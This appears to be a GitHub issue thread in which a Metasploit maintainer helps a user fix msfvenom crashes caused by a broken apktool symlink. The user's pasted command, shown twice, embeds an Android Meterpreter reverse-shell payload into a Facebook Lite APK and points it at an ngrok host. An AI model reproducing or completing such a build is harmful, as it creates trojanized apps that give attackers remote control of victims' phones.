	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:237:in `block (2 levels) in eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:26:in `block in ls'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:18:in `each_child'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:18:in `ls'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:232:in `block in eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:217:in `synchronize'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:217:in `eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:317:in `each'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:317:in `eager_load_all'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/application/finisher.rb:133:in `block in <module:Finisher>'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:32:in `instance_exec'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:32:in `run'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:61:in `block in run_initializers'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:228:in `block in tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:350:in `block (2 levels) in each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:431:in `each_strongly_connected_component_from'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:349:in `block in each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `call'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:226:in `tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:205:in `tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:60:in `run_initializers'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/application.rb:391:in `initialize!'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/railtie.rb:207:in `public_send'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/railtie.rb:207:in `method_missing'
	from /opt/metasploit-framework/embedded/framework/config/environment.rb:4:in `<top (required)>'
	from /opt/metasploit-framework/embedded/framework/lib/msfenv.rb:17:in `require'
	from /opt/metasploit-framework/embedded/framework/lib/msfenv.rb:17:in `<top (required)>'
	from <internal:/opt/metasploit-framework/embedded/lib/ruby/site_ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
	from <internal:/opt/metasploit-framework/embedded/lib/ruby/site_ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
	from msfdb:32:in `<main>'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/kernel.rb:27:in `require': /opt/metasploit-framework/embedded/framework/lib/msf/core/payload/apk.rb:208: syntax error, unexpected local variable or method, expecting `do' or '{' or '(' (SyntaxError)
+   puts amanifest.inspect
         ^~~~~~~~~
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/kernel.rb:27:in `require'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:95:in `const_get'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:95:in `cget'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:237:in `block (2 levels) in eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:26:in `block in ls'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:18:in `each_child'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:18:in `ls'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:232:in `block in eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:217:in `synchronize'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:217:in `eager_load'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:317:in `each'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader.rb:317:in `eager_load_all'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/application/finisher.rb:133:in `block in <module:Finisher>'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:32:in `instance_exec'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:32:in `run'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:61:in `block in run_initializers'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:228:in `block in tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:350:in `block (2 levels) in each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:431:in `each_strongly_connected_component_from'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:349:in `block in each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `call'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:347:in `each_strongly_connected_component'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:226:in `tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/3.0.0/tsort.rb:205:in `tsort_each'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/initializable.rb:60:in `run_initializers'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/application.rb:391:in `initialize!'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/railtie.rb:207:in `public_send'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/railties-6.1.4.6/lib/rails/railtie.rb:207:in `method_missing'
	from /opt/metasploit-framework/embedded/framework/config/environment.rb:4:in `<top (required)>'
	from /opt/metasploit-framework/embedded/framework/lib/msfenv.rb:17:in `require'
	from /opt/metasploit-framework/embedded/framework/lib/msfenv.rb:17:in `<top (required)>'
	from <internal:/opt/metasploit-framework/embedded/lib/ruby/site_ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
	from <internal:/opt/metasploit-framework/embedded/lib/ruby/site_ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
	from /opt/metasploit-framework/bin/../embedded/framework/msfvenom:27:in `require_deps'
	from /opt/metasploit-framework/bin/../embedded/framework/msfvenom:44:in `init_framework'
	from /opt/metasploit-framework/bin/../embedded/framework/msfvenom:67:in `framework'
	from /opt/metasploit-framework/bin/../embedded/framework/msfvenom:472:in `<main>'

@bcoles
Copy link
Contributor

bcoles commented Mar 5, 2022

Ok when I added Puts nothing changed and no information was printed. But when I added + puts amanifest.inspect after the Locating hook point line, below is what I got:

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14329 -o Paykick.apk
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/kernel.rb:27:in `require': /opt/metasploit-framework/embedded/framework/lib/msf/core/payload/apk.rb:208: syntax error, unexpected local variable or method, expecting `do' or '{' or '(' (SyntaxError)

Don't include the +.

The diff provided is a diff. You can learn more about diff formatting here:

In short:

+ means this line was changed or added. These lines are green.

- means the line was removed. These lines are red.

@Samshow-cyber
Copy link
Author

Ok

@Samshow-cyber
Copy link
Author

This what I got when I added puts to the Decompiling original Apk line

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x facebooklite.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14329 -o Paykick.apk
Using APK template: facebooklite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
I: Using Apktool 2.6.1 on original.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
W: Could not decode attr value, using undecoded value instead: ns=android, name=versionCode, value=0x151283fe
W: Could not decode attr value, using undecoded value instead: ns=android, name=versionName, value=0x000000df
W: Could not decode attr value, using undecoded value instead: ns=android, name=versionCode, value=0x151283fe
W: Could not decode attr value, using undecoded value instead: ns=android, name=versionName, value=0x000000df
W: Could not decode attr value, using undecoded value instead: ns=android, name=compileSdkVersion, value=0x0000001f
W: Could not decode attr value, using undecoded value instead: ns=android, name=compileSdkVersionCodename, value=0x000000dd
W: Could not decode attr value, using undecoded value instead: ns=android, name=minSdkVersion, value=0x0000000f
W: Could not decode attr value, using undecoded value instead: ns=android, name=targetSdkVersion, value=0x0000001f
W: Could not decode attr value, using undecoded value instead: ns=android, name=anyDensity, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=smallScreens, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=normalScreens, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=largeScreens, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000ec
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000ed
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000f2
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000f1
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000ee
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000f0
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000ef
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000f4
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000000f3
W: Could not decode attr value, using undecoded value instead: ns=android, name=required, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000019b
W: Could not decode attr value, using undecoded value instead: ns=android, name=protectionLevel, value=0x00000002
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000019a
W: Could not decode attr value, using undecoded value instead: ns=android, name=protectionLevel, value=0x00000002
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000106
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000107
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000108
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000109
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000010b
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000010d
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000010e
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000010f
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000110
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000111
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000114
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000115
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000118
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000117
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000119
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000113
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000010a
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000116
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011b
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011a
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011c
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011d
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011e
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000121
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000120
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000123
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000124
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000125
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000126
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000127
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000130
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000131
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000017a
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000019b
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000143
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000192
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000191
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001ac
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000019a
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c8
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c7
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c0
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c1
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c9
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001ca
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c2
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c3
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c4
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c5
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001c6
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000011f
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000122
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000137
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001a5
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001a4
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000112
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001b1
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000104
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001af
W: Could not decode attr value, using undecoded value instead: ns=android, name=theme, value=0x7f0e0017
W: Could not decode attr value, using undecoded value instead: ns=android, name=label, value=0x7f0d0002
W: Could not decode attr value, using undecoded value instead: ns=android, name=icon, value=0x7f0b0000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x00000146
W: Could not decode attr value, using undecoded value instead: ns=android, name=manageSpaceActivity, value=0x0000018c
W: Could not decode attr value, using undecoded value instead: ns=android, name=debuggable, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=allowBackup, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=vmSafeMode, value=0x7f040000
W: Could not decode attr value, using undecoded value instead: ns=android, name=hardwareAccelerated, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=supportsRtl, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=networkSecurityConfig, value=0x7f100001
W: Could not decode attr value, using undecoded value instead: ns=android, name=appComponentFactory, value=0x0000012a
W: Could not decode attr value, using undecoded value instead: ns=android, name=requestLegacyExternalStorage, value=0xffffffff
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x000001ad
W: Could not decode attr value, using undecoded value instead: ns=android, name=value, value=0x00000000
W: Could not decode attr value, using undecoded value instead: ns=android, name=name, value=0x0000013f
W: Could not decode attr value, using undecoded value instead: ns=android, name=value, value=0x00000129
Exception in thread "main" java.lang.NullPointerException: Cannot invoke "java.lang.CharSequence.length()" because "this.text" is null
	at java.base/java.util.regex.Matcher.getTextLength(Matcher.java:1769)
	at java.base/java.util.regex.Matcher.reset(Matcher.java:415)
	at java.base/java.util.regex.Matcher.<init>(Matcher.java:252)
	at java.base/java.util.regex.Pattern.matcher(Pattern.java:1134)
	at brut.androlib.res.decoder.AndroidManifestResourceParser.isNumericStringMetadataAttributeValue(AndroidManifestResourceParser.java:56)
	at brut.androlib.res.decoder.AndroidManifestResourceParser.getAttributeValue(AndroidManifestResourceParser.java:41)
	at org.xmlpull.v1.wrapper.classic.XmlPullParserDelegate.getAttributeValue(XmlPullParserDelegate.java:69)
	at org.xmlpull.v1.wrapper.classic.StaticXmlSerializerWrapper.writeStartTag(StaticXmlSerializerWrapper.java:267)
	at org.xmlpull.v1.wrapper.classic.StaticXmlSerializerWrapper.event(StaticXmlSerializerWrapper.java:211)
	at brut.androlib.res.decoder.XmlPullStreamDecoder$1.event(XmlPullStreamDecoder.java:80)
	at brut.androlib.res.decoder.XmlPullStreamDecoder.decode(XmlPullStreamDecoder.java:139)
	at brut.androlib.res.decoder.XmlPullStreamDecoder.decodeManifest(XmlPullStreamDecoder.java:151)
	at brut.androlib.res.decoder.ResFileDecoder.decodeManifest(ResFileDecoder.java:159)
	at brut.androlib.res.AndrolibResources.decodeManifestWithResources(AndrolibResources.java:193)
	at brut.androlib.Androlib.decodeManifestWithResources(Androlib.java:141)
	at brut.androlib.ApkDecoder.decode(ApkDecoder.java:109)
	at brut.apktool.Main.cmdDecode(Main.java:175)
	at brut.apktool.Main.main(Main.java:79)
[*] Decompiling payload APK..
[*] Locating hook point..
Error: undefined method `[]' for nil:NilClass

@bcoles
Copy link
Contributor

bcoles commented Mar 5, 2022

Your bug is with apktool. It looks a lot like this one: iBotPeaches/Apktool#2669

Do you have a broken symlink?

ls -la ~/.local/share/apktool/framework/1.apk

If so, try removing it:

rm ~/.local/share/apktool/framework/1.apk

@Samshow-cyber
Copy link
Author

I got something new when I re-added the Puts amanifest.inspect to the Locating hook point line. This is it:

[*] Decompiling payload APK..
[*] Locating hook point..
#<Nokogiri::XML::Document:0x4bb4 name="document">
Error: undefined method `[]' for nil:NilClass

@bcoles
Copy link
Contributor

bcoles commented Mar 5, 2022

I got something new when I re-added the Puts amanifest.inspect to the Locating hook point line. This is it:

[*] Decompiling payload APK..
[*] Locating hook point..
#<Nokogiri::XML::Document:0x4bb4 name="document">
Error: undefined method `[]' for nil:NilClass

What does this mean? What exactly have you done? Can you paste the line you changed + 2 lines either side of it for context?

Did you remove ~/.local/share/apktool/framework/1.apk ? Did that fix your issue? Are you now on a new issue?

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~$ ls -la ~/.local/share/apktool/framework/1.apk
lrwxrwxrwx 1 samshow samshow 50 Feb 27 03:57 /home/samshow/.local/share/apktool/framework/1.apk -> /usr/share/android-framework-res/framework-res.apk

Does this mean something is broken? Its showing in red

@bcoles
Copy link
Contributor

bcoles commented Mar 5, 2022

samshow@samshow-VirtualBox:~$ ls -la ~/.local/share/apktool/framework/1.apk
lrwxrwxrwx 1 samshow samshow 50 Feb 27 03:57 /home/samshow/.local/share/apktool/framework/1.apk -> /usr/share/android-framework-res/framework-res.apk

Does this mean something is broken? Its showing in red

Most likely yes.

The symlink points to /usr/share/android-framework-res/framework-res.apk . Does this file exist?

ls -la /usr/share/android-framework-res/framework-res.apk

If not, the symlink is broken and should be removed.

rm ~/.local/share/apktool/framework/1.apk

@Samshow-cyber
Copy link
Author

I got something new when I re-added the Puts amanifest.inspect to the Locating hook point line. This is it:

[*] Decompiling payload APK..
[*] Locating hook point..
#<Nokogiri::XML::Document:0x4bb4 name="document">
Error: undefined method `[]' for nil:NilClass

What does this mean? What exactly have you done? Can you paste the line you changed + 2 lines either side of it for context?

Did you remove ~/.local/share/apktool/framework/1.apk ? Did that fix your issue? Are you now on a new issue?

Issue not fixed yet. I went on to re-add the Puts amanifest.inspect without adding + So thats what I got under the Locating hook point section

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~$ ls -la ~/.local/share/apktool/framework/1.apk
lrwxrwxrwx 1 samshow samshow 50 Feb 27 03:57 /home/samshow/.local/share/apktool/framework/1.apk -> /usr/share/android-framework-res/framework-res.apk

Does this mean something is broken? Its showing in red

Most likely yes.

The symlink points to /usr/share/android-framework-res/framework-res.apk . Does this file exist?

ls -la /usr/share/android-framework-res/framework-res.apk

If not, the symlink is broken and should be removed.

rm ~/.local/share/apktool/framework/1.apk
samshow@samshow-VirtualBox:~$ ls -la /usr/share/android-framework-res/framework-res.apk
ls: cannot access '/usr/share/android-framework-res/framework-res.apk': No such file or directory

No I don't think it exists

@Samshow-cyber
Copy link
Author

Waaoooowwwww! @bcoles It worked after removing the symlink. Wow, you're the best!

@Samshow-cyber

This comment was marked as off-topic.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants